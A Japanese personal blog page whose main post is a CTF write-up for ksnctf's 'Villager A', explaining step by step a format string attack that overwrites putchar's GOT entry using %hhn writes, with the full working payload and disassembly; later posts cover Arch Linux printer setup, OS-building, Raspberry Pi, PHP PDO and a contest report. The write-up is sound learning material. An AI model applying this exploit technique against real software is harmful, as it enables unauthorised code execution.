Villager Aが解けた
この記事は、ksnctfのVillager Aの解法について言及しています。見たくないという方は、ここでお引取りください。 また、私はセキュリティに関しては全くのど素人です。内容の正確性は慎重に検証したつもりですが、間違っていることもあるかと思いますのでご承知おきください。
かねてより、pwnあるいはexploitというものに興味があり、何度かVillager Aに挑戦したりしていたのですが、writeup等を見てみても解法をよく理解できないでいました。今回、SecHack365でご一緒させて頂いているはっぴーのーとさんに色々ご教授いただくことが出来、解法がよく分かってきたのでせっかくなので記事としてアウトプットしておきたいと思った次第です。
私が分からなかった点
私が分からなかったのは、主にFormat String Attackの組み立ての部分です。Villager Aの場合、GOTを書き換えて任意のアドレスにジャンプしたいわけですが、これをやればexploitできるということは分かったものの、その手段はよく分からなかったのです。
解法
最初に、解法を載せておきます。
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4
これでexploit出来るわけですが、この文字列でどうしてGOTを書き換えられるのかが分からなかったのです。
printf()のフォーマット指定子
printf()には%nというフォーマット指定子があります。これは、いままで出力した文字列のバイト数を、引数に格納するという指定子です。試しに使ってみました。
#include <stdio.h> int main() { int *hoge; printf("hogehoge%n\n", &hoge); printf("%d\n", hoge); return 0; }
これで、hogeが指すメモリ領域に8が入っているはずです。
もちろん*hogeにアドレスを代入してやれば任意のアドレスのメモリ領域に保存することができます(ただし、そのアドレスのメモリ領域が書き込み可能かどうか等は不明)。
ちなみに、%nの前にhをつけてやることで書き込み先のアドレスを何バイトの領域として扱うか操作出来るようです。
指定子 | 書き込まれ方 |
---|---|
%n | アドレスを4バイト領域としてみなし、書き込む |
%hn | アドレスを2バイト領域としてみなし、書き込む |
%hhn | アドレスを1バイト領域としてみなし、書き込む |
%nで一気に書き込むこともできますが、そうすると出力しなくてはならないバイト数が膨大になってしまうことがよくあるので、この手のexploitでは%hhnをよく使うようです。
例えば、0x12345678というアドレスを%nでつくるためには、0x12345678バイト出力しなくてはいけないのでとても膨大ですが、%hhnで4回に分けてしまえば0x78と0x56と0x34と0x12の計0x114バイト出力するだけで済みます。
また、$(ダイレクトパラメータ)というものを使うと、使いたい引数を番号で指定できるようです。
3番目の引数を使いたいなら以下の通りです。
printf("%3$d", 10, 20, 30, 40, 50); // 30
FSAの組み立て
ここまで分かれば、あとは組み立ててみるだけでした。 まずは、printf()で書き込んだ文字列がスタックのどの位置に保存されるか把握しておく必要があるので、q4に対して以下を入力してみます。
echo -e "yuki,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name? Hi, yuki,400,4108c0,8,14,ed3fc4,696b7579,2c78252c,252c7825 Do you want the flag?
「yuki」のASCIIコードを16進数に変換すると「0x79756b69」ですね。リトルエンディアンであることに気をつけながら見ていくと、6番目にあることが分かります。
|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x696b7579| ←arg6(printf()へ入力した文字列はここから入る)
|0x2c78252c| ←arg7
|0x252c7825| ←arg8
|....................|
この情報と、さっきのダイレクトパラメータを組み合わせて使うことができそうですね!
では、次に書き換え先、書き換える対象を確認しておきましょう。 q4をディスアセンブルしてみましょう
objdump -d q4 | less
以下、main関数部分です。
080485b4 <main>: 80485b4: 55 push %ebp 80485b5: 89 e5 mov %esp,%ebp 80485b7: 83 e4 f0 and $0xfffffff0,%esp 80485ba: 81 ec 20 04 00 00 sub $0x420,%esp 80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp) 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax 80485d1: 89 44 24 08 mov %eax,0x8(%esp) 80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80485dc: 00 80485dd: 8d 44 24 18 lea 0x18(%esp),%eax 80485e1: 89 04 24 mov %eax,(%esp) 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea 0x18(%esp),%eax 80485f9: 89 04 24 mov %eax,(%esp) 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp) 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp) 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov 0x8049a04,%eax 804862b: 89 44 24 08 mov %eax,0x8(%esp) 804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 8048636: 00 8048637: 8d 44 24 18 lea 0x18(%esp),%eax 804863b: 89 04 24 mov %eax,(%esp) 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test %eax,%eax 8048645: 0f 94 c0 sete %al 8048648: 84 c0 test %al,%al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov $0x0,%eax 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp) 804865d: 08 804865e: 8d 44 24 18 lea 0x18(%esp),%eax 8048662: 89 04 24 mov %eax,(%esp) 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test %eax,%eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp) 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov $0x0,%eax 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax ;<main+0xcd> 8048688: 85 c0 test %eax,%eax 804868a: 0f 95 c0 setne %al 804868d: 84 c0 test %al,%al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp) 8048698: 08 8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp) 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp) 80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax 80486b3: 89 44 24 08 mov %eax,0x8(%esp) 80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80486be: 00 80486bf: 8d 44 24 18 lea 0x18(%esp),%eax 80486c3: 89 04 24 mov %eax,(%esp) 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea 0x18(%esp),%eax 80486cf: 89 04 24 mov %eax,(%esp) 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov $0x0,%eax 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
0x08048691あたりにジャンプすれば良さそうですね。
そして他の解法記事に習って、putchar()のGOT領域を上書きをしたいのでどこのアドレスを書きえればいいか調べてみます。 main関数内で、呼び出されている<putchar@plt>をディスアセンブルをしたものが以下です。
08048474 <putchar@plt>: 8048474: ff 25 e0 99 04 08 jmp *0x80499e0 804847a: 68 08 00 00 00 push $0x8 804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
ということで、0x080499e0を書き換えてしまえば良さそうです。
つまり、0x080499e0に0x08048691を埋め込めばいいのです。
ということで、まずは\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08という文字列を流し込んでみます。
|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x080499e0| ←arg6(printf()へ入力した文字列はここから入る)
|0x080499e1| ←arg7
|0x080499e2| ←arg8
|0x080499e3| ←arg9
|....................|
すると、上のようになりますね。ということで、あとは適切なバイト数を出力した後に%hhnでarg6, arg7, arg8, arg9を指定してやればそのアドレスに書き込まれることが分かります。
適切なバイト数の出力の仕方ですが、%x等の出力子に数字をつけてやればいい感じにパディングできるのでそれを使います。
結局書き込みたい値と書き込み先アドレスは、以下のとおりです。
書き込み先アドレス | 書き込みたい値 |
---|---|
0x080499e0 | 0x91 |
0x080499e1 | 0x86 |
0x080499e2 | 0x04 |
0x080499e3 | 0x08 |
ここで一旦、以下のプログラムを見てください。
#include <stdio.h> int main() { char *hoge; printf("%256x%1$n\n", &hoge); printf("%hhx\n", hoge); return 0; }
二個目のprintf()の出力はいくつになるでしょうか。正解は、0です。まあ、当然ですよね。実はこれが、先程のパディングに使えます。
例えば、出力したい数が0x10だとしましょう。しかし、すでに0x12バイト出力されているとします。このとき、0xffまで出力してしまってから、0x11を出力し%hhnを呼べば0x10を出力することが出来ます。
ではいよいよ本命のFSAの組み立てをしていきましょう。
ここまでで既に4byte * 4 = 16byte出力していますね。で、次に出力したいのは0x91 = 145です。素直に引き算しちゃいましょう。145 - 16 = 129
%129x%6$hhn
次に出力したいのは0x86 = 134ですね。オーバーしちゃいましたので、先程紹介したテクニックをつかって。256 - 145 + 134 = 245
%245x%7$hhn
あとはやるだけです。0x04 = 4。256 - 134 + 4 = 126
%126x%8$hhn
最後。0x08 = 8。8 - 4 = 4
%4x%9$hhn
これで完成。
\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn
やっとできたーー!!!このやりがい、たまらないですね。教えてくださったはっぴーのーとさん、本当にありがとうございました!
おわりに
雑多な文章で申し訳ありませんが、私がVillager Aを解いたときの心境などをそのまま書き込んだつもりです。 僕のようにVillager Aで苦しんでいる方のご参考になれば嬉しいです!
また、本文中に間違いや質問したいこと等があればお気軽にご連絡ください。
ArchLinuxでMG7530を使う
Linuxで、戸惑うことが多いのがプリンターの設定である。 CUPSというものを使えば、これを比較的簡単に行うことが出来るので共有したい。
CUPSのインストール
簡単だ。いつものようにpacmanでインストールすれば良い。
# pacman -S cups
Archwikiにもあるが、インストール後は以下のコマンドでorg.cups.cupsd.serviceを有効化・起動する必要がある。
# systemctl enable org.cups.cupsd # systemctl start org.cups.cupsd
これでCUPSが使えるようになる。
MG7530ドライバーのインストール
メーカーにドライバーがあるが、これをダウンロードして展開してくれるAURパッケージがすでにあるのでありがたく使わせて頂こう。
$ yaourt -S cnijfilter2-mg7500
AURヘルパーに関しては色々なものがあるので、それらを使うか自分で落としてきてmakepkgするのも良いと思う。
プリンターの追加
CUPSの操作をしていくわけだが、詳細な設定をするわけでなければGUIがあると便利だ。CUPSにはWeb GUIフロントエンドがあるのでこれを使おう。以下のアドレスにアクセスすると良い。
アクセス出来ない場合は、cupsサービスが起動しているかもう一度確認してみよう。
上側のタブに「管理」というものがあるので、そこに遷移して「新しいプリンターの追加」をクリックする。 しばらくすると、MG7530らしきものが出てくるので、あとはGUIに従って設定していくだけだ。
出てこない場合は、プリンターと同じネットワークに接続されているかなどもう一度確認してみよう。
これで、MG7530が使えるようになる。
30日でできる!OS自作入門を始めた[1日目]
1日目。この日の内容は、とりあえずOSを作ってみようぜっというものだった。 初っ端からわけもわからずバイナリ手打ちでOSを作ることになるのだが、これは後のページで色々説明するための伏線みたいなもののようだ。 かなり集中力のいる作業だが、一通り打ち終わりqemuで実行してhello, worldが表示された時の感動は今後OS自作を進める時のモチベーションにもつながるので是非やっておきたいものだ。 バイナリを編集する前にあらかじめ0x000000〜0x168000までをddコマンドを使って以下のように0で埋めておくと楽だ。
$ dd if=/dev/zero of=helloos.img bs=1474560 count=1
この後のアセンブラコードを見るとこのバイナリがどういう意味を持っていたのかなんとなく分かる。
今日はここまで。
30日でできる!OS自作入門を始めた[0日目]
動機・導入
最近、自分は低レイヤーの技術への好奇心が強い。昔から何かものの仕組みを知るのは好きだったと記憶しているが自分のこの性分と低レイヤーとの相性がとても良かったのだろう、低レイヤーについて知ることが三大欲求に匹敵する程度快感に感じている。そんなこの状況で見つけたのが「自作OS」という分野だ。OSは低レイヤーとはいっても一応ソフトウェアであるから、いじるのに(あまり)お金がかからない(組み込み系OSだとそんなこと無いかもしれないが)。だから学生でお金のない自分には非常に魅力的に感じた。しかし何をしたらいいのかわからないのでいい感じのドキュメントが無いかなあとamazonで「自作OS」と検索して出てきたのがタイトルにもある「30日でできる!OS自作入門」だ(並んで坂井さんの「12ステップで作る組込みOS自作入門」も出てきた)。30日で出来るなんてありがたいなあとこの本を入手したところまでが0日目の内容である。実は既に5日目ぐらいまでは実装できているのだが、復習の意味も込めて既に終わっているものとまだ終わっていないもの合わせてこの記事から「連載企画30日でできる!OS自作入門を始めた」を始めようと思う。新学期が始まったばかりということも有り少し忙しいが頑張って続けていく所存だ。
余談
少し前に記事にした通信系の技術について掘り下げてみたいなあというものについてだが、こちらも現在(ゆっくりと)進めている。正直やりたいこととやらなくてはいけないことが多すぎて混乱気味だが、だんだん落ち着いてきたのでとりあえず今連載と通信系技術の探求を二本柱に夏休みの終わり頃まで丁寧に勉強してみるつもりだ。暖かく見守っていただけるとありがたい。
ArchLinuxARMとRaspberry Pi(移行記事)
この記事は東京高専プロコンゼミ/SPC同好会advent calendar2017 12日目の記事です
ArchLinuxARMってなんぞや
以下参照 https://archlinuxarm.org/
Install環境
Raspberry Pi 2 Model B+ 8GBmicroSD card ArchLinux
この記事の目標
Raspberry PiにArchLinuxARMをInstallした後、最低限必要な人権環境を整える
STEP1 SDカードにArchLinuxARMを焼く
公式サイトに焼き方が書いてあるのでこれに従って進んでいきましょう。
STEP2 Raspberry Piを起動する
先程焼いたSDカードをRaspberry Piに入れて、電源を入れて起動してみると、最初に虹色の画面が表示された後いかにもbootしている感じの英文が出てくる。
STEP3 人権環境の構築
現状の環境では、あまり使い物にはならないため環境を整えていく必要が在る。今回は細かい所の詳細は省かせていただく。
AUR helperの入れ方
ArchLinuxARMを導入する上で、最初に手こずるところだ。本来であれば
sudo pacman -S yaourt でインストールすることができるのだが、package-queryへの依存を解決できないとメッセージが表示され入れることができない。よって、この問題を解決してあげる必要が在るのだが、これに関してはこの記事が参考になるので見てほしい。このAURが使えるからという理由でArchLinuxを利用している人は少なくないだろう。執筆現在、45793ものパッケージが保管されているようだ。自分もこのAURにはしばしばありがたく思うことがある。
sshの設定
どうやらArchLinuxARMにはsshdが最初から入っているようなので、あとはrootでログインできないようにしてあげるなどすればよい。
まだいくつか追加する予定なのでしばしお待ちを
おわりに
この記事は以下のスライドの補遺的な位置づけとして意識して執筆した。なのでこちらも兼ねてご覧になると良いだろう。
PHPでPDOを使ってMariaDBに接続するとき詰まったのでメモ(ArchLinux)(移行記事)
最近、webエンジニアの仕事を始めましてとりあえず一通りの環境を整えてみようということで作業していたのですが、ArchLinux環境において、PHPでPDOを使ってMariaDBに接続する際手こずったので共有しておきます。
環境
ArchLinux
PHP 5.6.0
error内容
could not find driverと表示される
解決手段
php.ini(AURからbuildしたなら、/etc/php56/php.ini)の以下の箇所をコメントアウト
904行目〜
extension=openssl.so extension=pdo_mysql.so extension=pdo_odbc.so extension=pdo_pgsql.so extension=pdo_sqlite.so
自分は、これで正常に動作させることができました。解決手段を検索しているときになかなか文献が見つからなかったので、役に立てば幸いです。
高専プロコン2017に参加してきた(移行記事)
10/8, 10/9に山口県周南市にて高専プロコンが開催された。私は今年が初めてで、競技部門として参加した。競技部門といえば、去年は人力部門として巷で話題となっていたので、今年はいかがなものかと初参戦ながら期待していたが、流石に運営陣も工夫を凝らして来たようで、端から人力で参戦しようとしているチームは見受けられなかった(残り数ピースのところから人力で解いているように思えるチームは見受けられた)。問題も相当難しかったようで、去年を経験している先輩は、「面白い!」と心境を露わにしていた。私はまだまだ知識が無いため今年はGUI、QR-code-reader、枝切り関数、Slaver(今回複数台のPCで解く作戦を取ったため、それらの解答をまとめるclass)の開発に携わった。まあ色々と苦労するところはあったが、その分多大な知識とcoding力、体力(?)等が身についたと感じているし、開発に際してもたのしー!と思いながら参加できたので良かったと思う。さてお察しの通り、競技部門のテーマは深刻なネタ切れのようで、来年のテーマは公募という形になった。ふざけるな!と言いたい気持ちもあるが、これはこれで面白い。自分もプログラム同士でオセロや将棋、その他ボードゲーム等の対戦をさせる、なんてアイデアが浮かんでいるのでこれで応募してみたいと思う。とりあえず半年間の開発が幕を閉じ、今はホッとしている。